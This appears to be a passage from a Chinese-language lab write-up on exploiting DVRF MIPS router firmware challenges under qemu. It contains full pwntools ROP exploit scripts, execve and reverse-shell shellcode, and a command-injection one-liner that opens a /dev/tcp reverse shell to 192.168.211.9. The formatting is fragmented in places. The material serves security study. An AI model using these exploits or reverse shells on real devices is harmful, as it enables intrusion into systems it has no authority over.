0x00400950
:lw $t9, arg_0($sp);jalr $t9
调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9
。换个思路直接跳过 dat_shell 开头调整 gp 部分:启动 qemu 模拟
-strace 查看 qemu 调试信息,方便观察执行了什么命令
qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa
gdb-multiarch
gdb-multiarch ./pwnable/Intro/stack_bof_01set architecture mips
set endian little
target remote :1234
cat
传入参数# file_name: stack_bof_01.py
from pwn import *context.binary = "./pwnable/Intro/stack_bof_01"
context.arch = "mips"
context.endian = "little"backdoor = 0x0040095c
payload = 'a'*0xc8+'b'*0x4
payload += p32(backdoor)with open("stack_bof_01_payload","w") as file:
file.write(payload)
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"
strcpy
:Shellcode 查询: http://shell-storm.org/shellcode/files/shellcode-792.php
syscall 0x40404
之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1
避免 strcpy \x00
截断(只有不包含截断符指令都行),尝试后无果。https://ctf-wiki.org/pwn/linux/mips/mips_rop/#2-dvrf-stack_bof_02c
libc路径:/squashfs-root/lib/libc.so.0
mipsrop.find("li $a0,1")
控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10
:.text:0002FB10 li $a0, 1
.text:0002FB14 move $t9, $s1
.text:0002FB18 jalr $t9 ; sub_2F818
mipsrop.find("li $s1")
结果有很多,最后选了 gadget2 = 0x00007730
:.text:00007730 lw $ra, 0x18+var_s10($sp)
.text:00007734 lw $s3, 0x18+var_sC($sp)
.text:00007738 lw $s2, 0x18+var_s8($sp)
.text:0000773C lw $s1, 0x18+var_s4($sp)
.text:00007740 lw $s0, 0x18+var_s0($sp)
.text:00007744 jr $ra
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
jalr $ra
时,又会跳转会到 gadget1 ,所以要换个方式。mipsrop.tails()
找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C
:.text:00020F1C move $t9, $s2
.text:00020F20 lw $ra, 0x18+var_sC($sp)
.text:00020F24 lw $s2, 0x18+var_s8($sp)
.text:00020F28 lw $s1, 0x18+var_s4($sp)
.text:00020F2C lw $s0, 0x18+var_s0($sp)
.text:00020F30 jr $t9
lw $ra, 0x18+var_sC($sp)
控制下一层跳转,payload 结构:payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra
mipsrop.stackfinders()
找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0
这个,通过 gadget3 提前将下次跳转地址写入 s0 :.text:00016DD0 addiu $a0, $sp, 0x38+var_20
.text:00016DD4 move $t9, $s0
.text:00016DD8 jalr $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
mipsrop.tails()
没找到,最后用 mipsrop.find("move $t9,$a0)")
找着了 gadget5 = 0x214a0
,对 mipsrop 理解不够…….text:000214A0 move $t9, $a0
.text:000214A4 sw $v0, 0x30+var_18($sp)
.text:000214A8 jalr $t9
0x000214A4
的这句汇编 sw $v0, 0x30+var_18($sp)
会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
from pwn import * context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''
0x76714b10: li a0,1
0x76714b14: move t9,s1
0x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''
0x766ec730: lw ra,40(sp)
0x766ec734: lw s3,36(sp)
0x766ec738: lw s2,32(sp)
0x766ec73c: lw s1,28(sp)
0x766ec740: lw s0,24(sp)
0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''
0x76705f1c: move t9,s2
0x76705f20: lw ra,36(sp)
0x76705f24: lw s2,32(sp)
0x76705f28: lw s1,28(sp)
0x76705f2c: lw s0,24(sp)
0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''
0x766fbdd0: addiu a0,sp,24
0x766fbdd4 <optarg>: move t9,s0
0x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''
0x767064a0: move t9,a0
0x767064a4: sw v0,24(sp)
0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcodewith open("stack_bof_02_payload","w") as file:
file.write(payload)
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
int main(int argc, char **argv[])
{if (argc <2){
printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);}
char str[500] = "\0";
char endstr[50] = "\0";
int listen_fd, comm_fd;
int retval = 0;
int option = 1;
struct sockaddr_in servaddr;
listen_fd = socket(AF_INET, SOCK_STREAM, 0);
bzero( &servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htons(INADDR_ANY);
servaddr.sin_port = htons(atoi(argv[1]));
printf("Binding to port %i\n", atoi(argv[1]));
retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (retval == -1){
printf("Error Binding to port %i\n", atoi(argv[1]));
exit(1);}if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){
printf("Setsockopt failed :(\n");
close(listen_fd);
exit(2);
}listen(listen_fd, 2);
comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
bzero(str, 500);
write(comm_fd, "Send Me Bytes:",14);
read(comm_fd,str,500);
sprintf(endstr, "nom nom nom, you sent me %s", str);
printf("Sent back - %s",str);
write(comm_fd, endstr, strlen(endstr)+1);
shutdown(comm_fd, SHUT_RDWR);
shutdown(listen_fd, SHUT_RDWR);
close(comm_fd);
close(listen_fd);
return 0x42;
}
sprintf(endstr, "nom nom nom, you sent me %s", str);
str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51target remote :1234
链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g
打开调试端口,gdb-multiarch target remote :1234
链接上去。# terminal 1
sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884
# terminal 2 gdb-multiarch
set architecture mips
set endian little
target remote :1234
0x00400D34
打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0
读取偏移算出基地址stack_bof_02
是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。Stack_bof_02 的 execve('/bin/sh') 能打通
反弹 shell :http://shell-storm.org/shellcode/files/shellcode-860.php 绑定 shell :http://shell-storm.org/shellcode/files/shellcode-81.php
hex(192)#0xc0
hex(168)#0xa8
hex(1) #0x01
hex(177)#0xb1
#192.168.1.177==>0xB101A8C0
from pwn import
context.arch = "mips"
context.endian = "little"
asm("li $a1, 0xB101A8C0")
\x01\xb1\x05\x3c\xc0\xa8\xa5\x34
替换为自己编译的:stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
#!/usr/bin/python
from pwn import *context.arch = 'mips'
context.endian = 'little'libc_addr = 0x4089b000#0x766e5000
sleep = 0x0002F2B0gadget1 = 0x2fb10
'''
0x76714b10: li a0,1
0x76714b14: move t9,s1
0x76714b18: jalr t9
'''
gadget2 = 0x7730
'''
0x766ec730: lw ra,40(sp)
0x766ec734: lw s3,36(sp)
0x766ec738: lw s2,32(sp)
0x766ec73c: lw s1,28(sp)
0x766ec740: lw s0,24(sp)
0x766ec744: jr ra
'''
gadget3 = 0x20f1c
'''
0x76705f1c: move t9,s2
0x76705f20: lw ra,36(sp)
0x76705f24: lw s2,32(sp)
0x76705f28: lw s1,28(sp)
0x76705f2c: lw s0,24(sp)
0x76705f30: jr t9
'''
gadget4 = 0x16dd0
'''
0x766fbdd0: addiu a0,sp,24
0x766fbdd4 <optarg>: move t9,s0
0x766fbdd8: jalr t9
'''
gadget5 = 0x214a0
'''
0x767064a0: move t9,a0
0x767064a4: sw v0,24(sp)
0x767064a8: jalr t9
'''
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"payload = 'a' * 51
payload += p32(libc_addr+gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(libc_addr+gadget3)#s1
payload += p32(libc_addr+sleep)#s2
payload += "bbbb"#s3
payload += p32(libc_addr+gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(libc_addr+gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(libc_addr+gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += stg3_SCp = remote('127.0.0.1',8882)
p.recvuntil('Send Me Bytes:')p.sendline(payload)
p.interactive()
CTF之命令执行绕过总结 反弹Shell,看这一篇就够了
#terminal 0
qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999
#terminal 1
nc -lvvp 31337
#tarminal 2
nc 127.0.0.1 9999
hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`
是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root
Awesome
那个分支,但没啥用。https://ctf-wiki.org/pwn/linux/mips/mips_rop/
https://xz.aliyun.com/t/1511
https://www.cnblogs.com/hac425/p/9416864.html